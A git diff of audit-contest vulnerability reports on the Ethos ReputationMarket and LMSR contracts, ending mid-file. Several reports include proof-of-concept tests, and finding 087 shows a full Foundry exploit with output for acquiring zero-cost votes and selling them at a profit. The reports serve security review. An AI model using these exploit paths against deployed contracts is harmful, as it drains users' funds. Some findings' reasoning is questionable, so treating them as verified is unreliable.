\ No newline at end of file diff --git a/079.md b/079.md new file mode 100644 index 0000000..e70e66c --- /dev/null +++ b/079.md @@ -0,0 +1,208 @@ +Cheesy Pebble Caribou + +High + +# Yes and No odds sum is not equal to 1 + +### Summary + +According to the documentation, the sum of the probabilities for "Yes" and "No" should be equal to 1. + +However, when the number of "Yes" and "No" votes is different, the sum of probabilities is not equal to 1. This causes the price of "Yes" and "No" votes to deviate from the specifications. + +### Root Cause + +The issue arises due to rounding errors during probability calculations in the LMSR.getOdds function. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/LMSR.sol#L70 + +### Internal Pre-conditions + +None + +### External Pre-conditions + +The number of "Yes" votes differs from the number of "No" votes. + +### Attack Path + +Scenario 1 +Number of "Yes" votes: 1000 +Number of "No" votes: 999 +We obtain the following results: + +YesOdd = 500249999979166668 +NoOdd = 499750000020833331 +Result: +YesOdd + NoOdd = 999999999999999999 instead of 1000000000000000000. + +Scenario 2 +Number of Yes Votes : 13300 - 1 +Number of No Votes : 1 + +YesOdd = 999999999999999999 +NoOdd = 0 +Result: +YesOdd + NoOdd = 999999999999999999 instead of 1000000000000000000. + +No Odd should be at least greater that 0 , but the result of No Odd = 0 + +### Impact + +This affects the buying and selling prices of votes, especially for large quantities. + +### PoC + +Create a test class using Foundry and run the following command: + +```bash +forge test --mt testHigherPriceForMajorityVotes --via-ir -vvvv +``` + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.18; + +import { Test, console } from "forge-std/Test.sol"; +import { LMSR } from "../../contracts/utils/LMSR.sol"; +import { TestLMSR } from "./TestLMSR.sol"; + +/** + * @title LMSRTests + * @dev Test contract for the LMSR library using Foundry's testing framework. + */ +contract LMSRTests is Test { + TestLMSR private lmsr; + + // Constants for testing + uint256 private constant LIQUIDITY_PARAMETER = 1000; // Liquidity parameter for stable price calculations + uint256 private constant QUOTIENT = 1e18; // Scaling factor for fixed-point arithmetic + + // Setup function to initialize the LMSR library + function setUp() public { + // Deploy LMSR library + lmsr = new TestLMSR(); + } + + /** + * @notice Test that the price for the majority side is higher. + * @dev Ensures that the odds calculation reflects the higher price for "yes" votes. + */ + function testHigherPriceForMajorityVotes() public { + uint256 yesVotes = 1000; // "Yes" votes exceed "No" votes + uint256 noVotes = 999; // "No" votes + + // Compute prices using LMSR library + uint256 trustPrice = lmsr.getOdds(yesVotes, noVotes, LIQUIDITY_PARAMETER, true); + uint256 distrustPrice = lmsr.getOdds(yesVotes, noVotes, LIQUIDITY_PARAMETER, false); + + // Check that the "yes" side price is higher + assertGt(trustPrice, distrustPrice, "Trust price should be higher"); + assertEq(trustPrice + distrustPrice, QUOTIENT, "Prices should sum to 1"); + } +} + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.18; + +import { LMSR } from "../../contracts/utils/LMSR.sol"; + +/** + * @title TestLMSR + * @dev Wrapper contract to expose LMSR library functions for testing. + */ +contract TestLMSR { + using LMSR for *; + + // Expose LMSR library functions + + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) external pure returns (uint256) { + return LMSR.getOdds(yesVotes, noVotes, liquidityParameter, isYes); + } + + function getCost( + uint256 currentYesVotes, + uint256 currentNoVotes, + uint256 outcomeYesVotes, + uint256 outcomeNoVotes, + uint256 liquidityParameter + ) external pure returns (int256) { + return + LMSR.getCost( + currentYesVotes, + currentNoVotes, + outcomeYesVotes, + outcomeNoVotes, + liquidityParameter + ); + } +} + +``` + +Test Output + +```bash +Ran 1 test for test/foundry/LMSRTests.t.sol:LMSRTests +[FAIL: Prices should sum to 1: 999999999999999999 != 1000000000000000000] testHigherPriceForMajorityVotes() (gas: 26667) +Traces: + [131173] LMSRTests::setUp() + ├─ [93747] → new TestLMSR@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f + │ └─ ← [Return] 468 bytes of code + └─ ← [Stop] + + [26667] LMSRTests::testHigherPriceForMajorityVotes() + ├─ [9468] TestLMSR::getOdds(1000, 999, 1000, true) [staticcall] + │ ├─ [6349] LMSR::getOdds(1000, 999, 1000, true) [delegatecall] + │ │ └─ ← [Return] 500249999979166668 [5.002e17] + │ └─ ← [Return] 500249999979166668 [5.002e17] + ├─ [6981] TestLMSR::getOdds(1000, 999, 1000, false) [staticcall] + │ ├─ [6362] LMSR::getOdds(1000, 999, 1000, false) [delegatecall] + │ │ └─ ← [Return] 499750000020833331 [4.997e17] + │ └─ ← [Return] 499750000020833331 [4.997e17] + ├─ [0] VM::assertGt(500249999979166668 [5.002e17], 499750000020833331 [4.997e17], "Trust price should be higher") [staticcall] + │ └─ ← [Return] + ├─ [0] VM::assertEq(999999999999999999 [9.999e17], 1000000000000000000 [1e18], "Prices should sum to 1") [staticcall] + │ └─ ← [Revert] Prices should sum to 1: 999999999999999999 != 1000000000000000000 + └─ ← [Revert] Prices should sum to 1: 999999999999999999 != 1000000000000000000 + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.59ms (2.26ms CPU time) + +Ran 1 test suite in 822.18ms (6.59ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) + +Failing tests: +Encountered 1 failing test in test/foundry/LMSRTests.t.sol:LMSRTests +[FAIL: Prices should sum to 1: 999999999999999999 != 1000000000000000000] testHigherPriceForMajorityVotes() (gas: 26667) +``` + + +### Mitigation + +Change the code in LMSR.sol as follows: + + +```diff + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) public pure returns (uint256 ratio) { + // Compute exponentials e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // priceRatio = e^(yes/b)/(sumExp) if isYes, else e^(no/b)/(sumExp) ++ UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : convert(1).sub(yesExp.div(sumExp)); +- UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : noExp.div(sumExp); + + // Unwrap to get scaled ratio + ratio = unwrap(priceRatio); + } +``` \ No newline at end of file diff --git a/080.md b/080.md new file mode 100644 index 0000000..e6d32b3 --- /dev/null +++ b/080.md @@ -0,0 +1,50 @@ +Scruffy Concrete Swift + +Medium + +# Malicious Actor Can Manipulate Vote Prices, Causing Financial Losses + +### Summary + +The absence of a graduation check in the `buyVotes` function will cause financial manipulation and potential token distribution discrepancies for Ethos as a malicious actor will purchase votes in graduated markets, inflating or deflating vote prices postgraduation. + +### Root Cause + +-In `ReputationMarket.sol`:443 :absence of graduated market check in 'buyVotes' +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C2-L499C6 + +### Internal Pre-conditions + +1.The contract owner sets graduatedMarkets[profileId] to true to mark the market as graduated. +2.A malicious user needs to call the `buyVotes` function in `ReputationMarket.sol` with a profileId that has already been graduated. +3.The contract needs to allow the purchase of votes without verifying the market's graduated status, as there is no check for graduated markets in the buyVotes function. + +### External Pre-conditions + +**External Pre-conditions** +1. No external protocols need to change for this vulnerability to occur, as it solely depends on the contract's internal logic. +2. The attacker needs to have enough ETH to fund the vote purchase transaction, but no specific conditions on external protocols are required for the exploit to be possible. + +### Attack Path + +**Attack Path** +1. A malicious user identifies a graduated market by checking the `graduatedMarkets` status for a specific `profileId`. +2. The malicious user calls the `buyVotes` function in `ReputationMarket.sol`, passing in the `profileId` of the graduated market. +3. Since there is no check for graduated markets in the `buyVotes` function, the transaction proceeds, and the malicious user is able to purchase votes. +4. The user inflates or deflates the vote prices by purchasing votes in the graduated market, manipulating the market dynamics. + + +### Impact + +the inflation/deflation can cause discrepancies in the protocol + + + +### Mitigation + + +1. Implement a check in the `buyVotes` function to verify that the market is not graduated before allowing votes to be purchased. This can be done by adding a condition like `if (graduatedMarkets[profileId]) revert MarketAlreadyGraduated();` at the beginning of the function. + +2. Enhance the `graduateMarket` function to lock the market completely after graduation, preventing any further transactions or interactions with the market. + +3. Introduce a more robust mechanism for locking the market state, ensuring that once the market is graduated, no further actions can be taken that could affect vote prices or the funds in the market. diff --git a/081.md b/081.md new file mode 100644 index 0000000..1c3c2fd --- /dev/null +++ b/081.md @@ -0,0 +1,39 @@ +Spare Wintergreen Coyote + +Medium + +# A malicious user can register as a participant by buying 0 votes. + +### Summary + +There is no restriction on buying 0 votes in the buyVotes function. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440 + +### Root Cause + +If a malicious user sets both min and max to 0, they can still buy 0 votes and become a participant. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L475 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Malicious users can artificially inflate the participant list, leading to increased gas costs during participant-based operations and misleading statistics about actual market engagement. + +### PoC + +_No response_ + +### Mitigation + +Require a non-zero purchase before registering a new participant (e.g., checking currentVotesToBuy > 0) and optionally enforce minVotesToBuy <= maxVotesToBuy to prevent zero-vote scenarios. \ No newline at end of file diff --git a/082.md b/082.md new file mode 100644 index 0000000..08c9853 --- /dev/null +++ b/082.md @@ -0,0 +1,103 @@ +Beautiful Powder Falcon + +Medium + +# Overestimation of Exit Fees in `ReputationMarket::previewExitFees` + +### Summary + +#### Issue: +The `previewExitFees` function overestimates the exit fees because it incorrectly assumes that the `proceedsBeforeFees` value includes only the base price, while it actually includes the tax amount. This leads to an inflated `protocolFee` calculation, resulting in an incorrect `totalProceedsAfterFees`. + +#### Explanation of Tax Calculation: + +When buying and selling votes, the Ethos protocol applies tax differently, depending on whether the tax is added to the price (in the case of `buyVotes`) or removed from the price (in the case of `sellVotes`). Here's how the tax should be applied in each case: + +- **Buying Votes** (`buyVotes`): Tax is added to the purchase price. The user pays the price plus the tax. + +$$ + \text{Tax Amount} = \text{Purchase Price} \times \frac{\text{Tax Rate}}{100} +$$ +$$ + \text{Total Price} = \text{Purchase Price} + \text{Tax Amount} +$$ + + Example: If the purchase price is $100 and the tax rate is 5%, the user ends up paying $105, with $5 being tax. + +- **Selling Votes** (`sellVotes`): The price already includes tax, so the tax is subtracted from the total price to determine the amount the user should receive. + +$$ + \text{Tax Amount} = \text{Price Including Tax} \times \frac{\text{Tax Rate}}{100 + \text{Tax Rate}} +$$ +$$ + \text{Price Before Tax} = \text{Price Including Tax} - \text{Tax Amount} +$$ + + Example: If the price including tax is $105 and the tax rate is 5%, the tax component is $5, leaving $100 as the amount to be paid to the user. + +#### The Problem with `previewExitFees`: + +The issue with the current implementation of `previewExitFees` is that it calculates the protocol fee assuming the `proceedsBeforeFees` does not include tax. However, `proceedsBeforeFees` already includes tax, leading to the calculation of the protocol fee based on an inflated value. + +```solidity + function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { +>>> protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + + totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` + +To correct this, the protocol fee calculation must exclude the tax already included in `proceedsBeforeFees`. The proper formula to account for this is: + +```diff + function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { +- protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; ++ protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / (100 * BASIS_POINTS_BASE + exitProtocolFeeBasisPoints); + + totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` + + +### Root Cause + +In [ReputationMarket::previewExitFees](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1123), the `protocolFee` is calculated as if the tax is not already included in the `proceedsBeforeFees` variable. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The current implementation of the `previewExitFees` function overestimates the `protocolFee` and underestimates the `totalProceedsAfterFees`, leading to a loss of funds for the user. For instance, if `proceedsBeforeFees` is $105, the `protocolFee` is calculated as $5.25 (instead of $5), which is 5% higher than the correct fee amount. This overestimation results in the user receiving less than they should. + +### PoC + +_No response_ + +### Mitigation + +To correct this, the protocol fee calculation must exclude the tax already included in `proceedsBeforeFees`. The proper formula to account for this is: + +```diff + function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { +- protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; ++ protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / (100 * BASIS_POINTS_BASE + exitProtocolFeeBasisPoints); + + totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` \ No newline at end of file diff --git a/083.md b/083.md new file mode 100644 index 0000000..3f10344 --- /dev/null +++ b/083.md @@ -0,0 +1,59 @@ +Glorious Heather Panther + +Medium + +# Race Condition in `removeMarketConfig` and ` _createMarket` Functions + +### Summary + +The removeMarketConfig function, restricted to trusted admins, allows removing a market configuration by swapping the target index with the last index in the marketConfigs array and then popping the last element. However, when _createMarket is called simultaneously or shortly after a configuration removal, a race condition may occur. This could result in the _createMarket function using an unintended configuration due to index swapping. In `ReputationMarket.sol::388` + [https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388](url) + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The _createMarket function might create a market using an unintended configuration, leading to use of unintended parameters. +If users assume their specified marketConfigIndex will remain unchanged, they might inadvertently fund or interact with markets based on incorrect or unintended configurations. + +### PoC + +The marketConfigs array contains the following configurations: + +marketConfigs = [ + { creationCost: 100, basePrice: 50, liquidity: 10 }, // Config 0 + { creationCost: 200, basePrice: 100, liquidity: 20 }, // Config 1 + { creationCost: 300, basePrice: 150, liquidity: 30 } // Config 2 +]; + +User A submits a transaction to create a market using marketConfigIndex = 1 (the configuration with creationCost: 200). + +Before User A's transaction is mined, the admin calls removeMarketConfig(1) to remove the configuration at index 1. +This now gives the array as : marketConfigs = [ + { creationCost: 100, basePrice: 50, liquidity: 10 }, // Config 0 + { creationCost: 300, basePrice: 150, liquidity: 30 } // Config 1 (was Config 2) +]; + +by the time user A's call goes through: +his traget marketConfigIndex of 1 now points to and gets executed with the unintended details + + + + +### Mitigation +Introduce a grace period by marking configurations as pending removal before fully deleting them, ensuring no active or pending transactions rely on the affected index. +_No response_ \ No newline at end of file diff --git a/084.md b/084.md new file mode 100644 index 0000000..87ef5ac --- /dev/null +++ b/084.md @@ -0,0 +1,70 @@ +Festive Mint Platypus + +High + +# LMSR invariant does not hold on `simulateBuy` + +### Summary + +The invariant described [in the code](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L22C12-L22C141) states that the price of trust vote and the distrust vote must always sum up to the market's base price. While this is taken care of in the `getVotePrice` function, it's not the function used when actually simulating buy and sell. Therefore, the invariant doesn't hold on the simulated funds paid. + +### PoC + +Add the following test in `rep.market.test.ts` + +```javascript + describe('POC: LMSR invariant breaks on simulation', () => { + it('POC', async () => { + + // Please NOTE: protocolfee and donation is 0 in this example + // Vreifiable by console.log() the tuple values inside the simulateBuy method + + const market = await reputationMarket.getMarket(DEFAULT.profileId); + + // Price of 1 TRUST vote + const trustVotePrice = await reputationMarket.getVotePrice( + DEFAULT.profileId, + true, + ); + + // Simulated price of 1 TRUST vote + const { simulatedFundsPaid: simulatedTrustVotePrice } = await userA.simulateBuy({ + buyAmount: DEFAULT.buyAmount * 100n, + votesToBuy: 1n, + isPositive: true, + }); + + // Price of 1 DISTRUST vote + const distrustVotePrice = await reputationMarket.getVotePrice( + DEFAULT.profileId, + false, + ); + + // Simulated price of 1 DISTRUST vote + const { simulatedFundsPaid: simulateDistrustVotePrice } = await userA.simulateBuy({ + buyAmount: DEFAULT.buyAmount * 100n, + votesToBuy: 1n, + isPositive: false, + }); + + expect(simulatedTrustVotePrice).to.not.equal(trustVotePrice); + expect(simulateDistrustVotePrice).to.not.eq(distrustVotePrice); + + // Sum total of trust price and distrust price is equal to base price as per the `getVotePrice` which is expected + expect(trustVotePrice + distrustVotePrice).to.be.equal(market.basePrice); + + // Now, let's see where I think the problem is .. + + // NOTE: Here, even though there is 0 protocol fee and 0 donation fee, + // the sum total of trust and distrust price does not equal base price when it comes to funds being paid at a given + // point in time. + expect(simulateDistrustVotePrice + simulatedTrustVotePrice).to.be.greaterThan(market.basePrice); + + }); + }); + +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/085.md b/085.md new file mode 100644 index 0000000..544fe46 --- /dev/null +++ b/085.md @@ -0,0 +1,38 @@ +Glorious Heather Panther + +Medium + +# Missing Validation for creationCost in addMarketConfig + +### Summary + +The addMarketConfig function does not validate the creationCost parameter, allowing configurations to be added with a creationCost of 0. [https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L366](url) + +### Root Cause + +In `ReputationMarket::addMarketConfig` there is no sanity check for 0 creationCost value. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users can ceateMarkets at no cost if they use a MarketConfig whose creationCost was not set or is zero. + +### PoC + +_No response_ + +### Mitigation + +add a check to revert if creationCost is zero +if (creationCost == 0) revert InvalidMarketConfigOption("Creation cost cannot be zero"); \ No newline at end of file diff --git a/086.md b/086.md new file mode 100644 index 0000000..d1a091a --- /dev/null +++ b/086.md @@ -0,0 +1,42 @@ +Real Neon Robin + +High + +# Missing Validation for creationCost in Market Configuration + +### Summary + +The `addMarketConfig` function lacks a validation check to ensure that the `creationCost` parameter is greater than or equal to the minimum required `creationCost`. This omission can lead to an exploit where an admin sets the `creationCost` to 0, bypassing the intended cost mechanism. + +### Root Cause + +In [ReputationMarket.sol:366](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L366), there is a missing validation check to ensure that the `creationCost` parameter is greater than or equal to the minimum required `creationCost`. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +- An admin creates a premium market configuration with a `creationCost` of 0. +- An approved user leverages this configuration to create a market at no cost (`creationCost` = 0). +- Since the market is premium (characterized by less price fluctuation), it attracts user activity, leading to increased `donationFee` earnings for the approved user. +- The approved user benefits disproportionately by earning `donationFee` on user transactions within the market at no `creationCost`. + +### Impact + +- Deviation from the intended economic model of the system. +- As users buy or sell votes, the approved user earns `donationFee` at no `creationCost`. +- Funds in `marketFunds` mapping will comprise only users who bought votes for the market. + +### PoC + +_No response_ + +### Mitigation + +Add a validation check in the `addMarketConfig` function to ensure that `creationCost` is greater than or equal to the minimum acceptable `creationCost`. \ No newline at end of file diff --git a/087.md b/087.md new file mode 100644 index 0000000..94822e6 --- /dev/null +++ b/087.md @@ -0,0 +1,330 @@ +Docile Lilac Gecko + +High + +# Zero-Cost Vote Acquisition Due to LMSR Implementation + +### Summary + +The Logarithmic Market Scoring Rule (LMSR) implementation in the `ReputationMarket` contract suffers from a critical numerical precision vulnerability. When there is a significant disparity between trust and distrust votes, the cost calculation for new votes can effectively become zero due to exponential scaling limitations. This allows malicious actors to acquire votes without any cost and potentially extract value from the market through arbitrage. +- [LMSR::_cost()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L117-L134) +```solidity + function _cost( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter + ) public pure returns (uint256 costResult) { + // Compute e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // lnVal = ln(e^(yes/b) + e^(no/b)) + //@audit calculating lnVal will be highly dominated by e^(yes/b) and is restricted to UD60x18 + UD60x18 lnVal = sumExp.ln(); + + // Unwrap lnVal and multiply by b (also in UD60x18) to get cost + uint256 lnValUnwrapped = unwrap(lnVal); + costResult = lnValUnwrapped * liquidityParameter; + } + ``` + +### Attack Path + +When the market has a large number of one type of vote (e.g., trust votes), the cost calculation for new votes can become zero due to numerical precision limitations. +Example: +Market (Default): +- Trust Votes: 98,000 +- 1 < Distrust Votes < 54,000 +- Liquidity Parameter: 1,000 +> In this case the cost calculation for new votes would be 0. This is due because the exponential values of the trust votes is so large (e^(98,000/1,000) = 3.6e42) which is much larger than the exponential value of the distrust votes (e^(55,000/1,000) = 1.3e24). +The sum value for these two will be +> - sumExp (yesVotes = 98000, noVotes = 1, b = 1000)= 3637970947608804490426904392488195559575853724111990659261862 +> - sumExp (yesVotes = 98000, noVotes = 54000, b = 1000)= 3637970947608804491196382919002397262857517847202467732154530 +For both condition only the first 18-digit are exactly same but integer values are very different but the natural logarithm value is exactly same: +> - lnVal = 97999999999999999992 +This will results in the cost calculation being 0. + +### Impact + +The vulnerability allows attackers to acquire votes without any cost, potentially leading to stealing value from the market once the votes are acquired. + +### PoC +Exploit Steps: + +1. Setup Initial Imbalance: +- A user purchases 98,000 trust votes, creating a significant disparity. +2. Exploit Zero-Cost Votes: +- Malicious users exploit the zero-cost calculation to acquire distrust votes at no cost. +3. Arbitrage Extraction: +- Attacker extracts profit by selling acquired votes. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {ReputationMarket} from "../src/ReputationMarket.sol"; +import {ContractAddressManager} from "../src/utils/ContractAddressManager.sol"; +import {EthosProfile} from "../src/EthosProfile.sol"; +import {Proxy} from "@openzeppelin/contracts/proxy/Proxy.sol"; + +contract ProxyTest is Proxy { + address implementation; + constructor(address implementation_) { + implementation = implementation_; + } + function _implementation() internal view override returns (address) { + return implementation; + } +} + +contract ReputationMarketExploitTest is Test { + ContractAddressManager contractAddressManager; + ProxyTest proxyReputationMarket; + ProxyTest proxyEthosProfile; + + address owner = makeAddr("owner"); + address admin = makeAddr("admin"); + address signatureVerifier = makeAddr("signatureVerifier"); + address marketCreator = makeAddr("marketCreator"); + + // Attack addresses + address trustBuyingUser = makeAddr("trustBuyingUser"); + address untrustBuyingUser = makeAddr("untrustBuyingUser"); + address attacker = makeAddr("attacker"); + + uint256 constant MARKET_ID = 2; + uint256 constant LIQUIDITY_PARAMETER = 1000; + uint256 constant BASE_PRICE = 0.01 ether; + + function setUp() public { + console2.log("=== Setting up Test Environment ==="); + + vm.startPrank(owner); + + // Deploy contracts + ReputationMarket market = new ReputationMarket(); + EthosProfile ethosProfile = new EthosProfile(); + contractAddressManager = new ContractAddressManager(); + proxyReputationMarket = new ProxyTest(address(market)); + proxyEthosProfile = new ProxyTest(address(ethosProfile)); + + // Initialize Market + (bool success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature( + "initialize(address,address,address,address,address)", + owner, + admin, + address(market), + signatureVerifier, + address(contractAddressManager) + ) + ); + require(success, "Market initialization failed"); + + // Initialize Profile + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature( + "initialize(address,address,address,address,address)", + owner, + admin, + address(ethosProfile), + signatureVerifier, + address(contractAddressManager) + ) + ); + require(success, "Profile initialization failed"); + + // Setup contract addresses + address[] memory contractAddresses = new address[](1); + string[] memory names = new string[](1); + contractAddresses[0] = address(proxyEthosProfile); + names[0] = "ETHOS_PROFILE"; + contractAddressManager.updateContractAddressesForNames(contractAddresses, names); + + // Invite market creator + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("inviteAddress(address)", marketCreator) + ); + vm.stopPrank(); + + // Create profile for market creator + vm.startPrank(marketCreator); + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("createProfile(uint256)", 1) + ); + vm.stopPrank(); + + // Allow market creation + vm.prank(admin); + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("setUserAllowedToCreateMarket(uint256,bool)", MARKET_ID, true) + ); + + // Create market + vm.startPrank(marketCreator); + deal(marketCreator, 0.2 ether); + (success, ) = address(proxyReputationMarket).call{value: 0.2 ether}( + abi.encodeWithSignature("createMarket()") + ); + vm.stopPrank(); + + console2.log("Market created with:"); + console2.log("- Liquidity Parameter:", LIQUIDITY_PARAMETER); + console2.log("- Base Price:", BASE_PRICE); + console2.log("- Initial Balance:", address(proxyReputationMarket).balance); + } + + function test_LMSRExploit() public { + console2.log("\n=== Starting Exploit Test ==="); + + // 1: First untrustBuyingUser creates large imbalance with trust votes + console2.log("\n1: Creating vote imbalance"); + uint256 largeVoteAmount = 98_000; + vm.startPrank(trustBuyingUser); + deal(trustBuyingUser, 975 ether); + + // Log pre-purchase simulation + (bool success, bytes memory data) = address(proxyReputationMarket).call( + abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, true, largeVoteAmount) + ); + require(success, "Simulation failed"); + ( + uint256 cost, + uint256 protocolFee, + uint256 donation, + uint256 total, + uint256 price + ) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256)); + + console2.log("Large vote purchase simulation:"); + console2.log("- Base Cost:", cost); + console2.log("- Protocol Fee:", protocolFee); + console2.log("- Total Cost:", total); + console2.log("- New Vote Price:", price); + + // Execute large vote purchase + (success, ) = address(proxyReputationMarket).call{value: 975 ether}( + abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, true, largeVoteAmount, 0) + ); + require(success, "Large vote purchase failed"); + + // Log market state after large purchase + (, data) = address(proxyReputationMarket).call( + abi.encodeWithSignature("getMarket(uint256)", MARKET_ID) + ); + (ReputationMarket.MarketInfo memory marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo)); + console2.log("\nMarket state after large difference in votes:"); + console2.log("- Trust Votes:", marketInfo.trustVotes); + console2.log("- Distrust Votes:", marketInfo.distrustVotes); + vm.stopPrank(); + + // 2: Second untrustBuyingUser exploits zero-cost votes + console2.log("\n2: Exploiting zero-cost votes"); + uint256 exploitVoteAmount = 55_000; + + // Simulate exploit purchase + (, data) = address(proxyReputationMarket).call( + abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, false, exploitVoteAmount) + ); + ( + uint256 exploitCost, + , + , + uint256 exploitTotal, + + ) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256)); + + console2.log("Exploit vote(Distrust) simulation:"); + console2.log("- Expected Cost:", exploitCost); + console2.log("- Total Cost:", exploitTotal); + + // Execute exploit purchase + vm.startPrank(attacker); + deal(attacker, 0.1 ether); + (success, ) = address(proxyReputationMarket).call{value: 0.1 ether}( + abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, exploitVoteAmount, 0) + ); + require(success, "Exploit purchase failed"); + + // Log attacker balance and market state + console2.log("\nExploit results:"); + console2.log("- attacker remaining balance:", address(attacker).balance); + + (, data) = address(proxyReputationMarket).call( + abi.encodeWithSignature("getMarket(uint256)", MARKET_ID) + ); + (marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo)); + console2.log("- Final Trust Votes:", marketInfo.trustVotes); + console2.log("- Final Distrust Votes:", marketInfo.distrustVotes); + vm.stopPrank(); + + // 3: Demonstrate profit through sell after untrust votes have been purchased + console2.log("\n3: Demonstrating profit after untrust votes have been purchased"); + vm.startPrank(untrustBuyingUser); + deal(untrustBuyingUser, 7 ether); + + // Buy votes at zero cost + (success, ) = address(proxyReputationMarket).call{value: 7 ether}( + abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0) + ); + require(success, "Untrust votes purchase failed"); + + // Sell votes for profit + vm.startPrank(attacker); + uint256 balanceBefore = address(attacker).balance; + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("sellVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0) + ); + require(success, "Untrust votes sell failed"); + uint256 profit = address(attacker).balance - balanceBefore; + + console2.log("After selling results:"); + console2.log("- Profit made:", profit); + console2.log("- Final untrustBuyingUser balance:", address(attacker).balance); + + assertTrue(profit > 0, "Arbitrage should generate profit"); + assertGt(address(attacker).balance, 7 ether, "Should profit more than initial investment"); + } +} +``` +Output of the test: +```solidity + === Setting up Test Environment === + Market created with: + - Liquidity Parameter: 1000 + - Base Price: 10000000000000000 + - Initial Balance: 200000000000000000 + +=== Starting Exploit Test === + +Step 1: Creating vote imbalance + Large vote purchase simulation: + - Base Cost: 973068528194400546900 + - Protocol Fee: 0 + - Total Cost: 973068528194400546900 + - New Vote Price: 9999999999999999 + +Market state after large difference in votes: + - Trust Votes: 98001 + - Distrust Votes: 1 + +Step 2: Exploiting zero-cost votes + Exploit vote(Distrust) simulation: + - Expected Cost: 0 + - Total Cost: 0 + +Exploit results: + - attacker remaining balance: 100000000000000000 + - Final Trust Votes: 98001 + - Final Distrust Votes: 55001 + +Step 3: Demonstrating profit after untrust votes have been purchased + After selling results: + - Profit made: 6931471805599453090 + - Final untrustBuyingUser balance: 7031471805599453090 +``` +From this output, we can see that the attacker was able to exploit the zero-cost votes and make a profit of `6.93 ether` by selling the untrust votes afterwards which were purchased at zero cost. \ No newline at end of file diff --git a/088.md b/088.md new file mode 100644 index 0000000..786a652 --- /dev/null +++ b/088.md @@ -0,0 +1,130 @@ +Shambolic 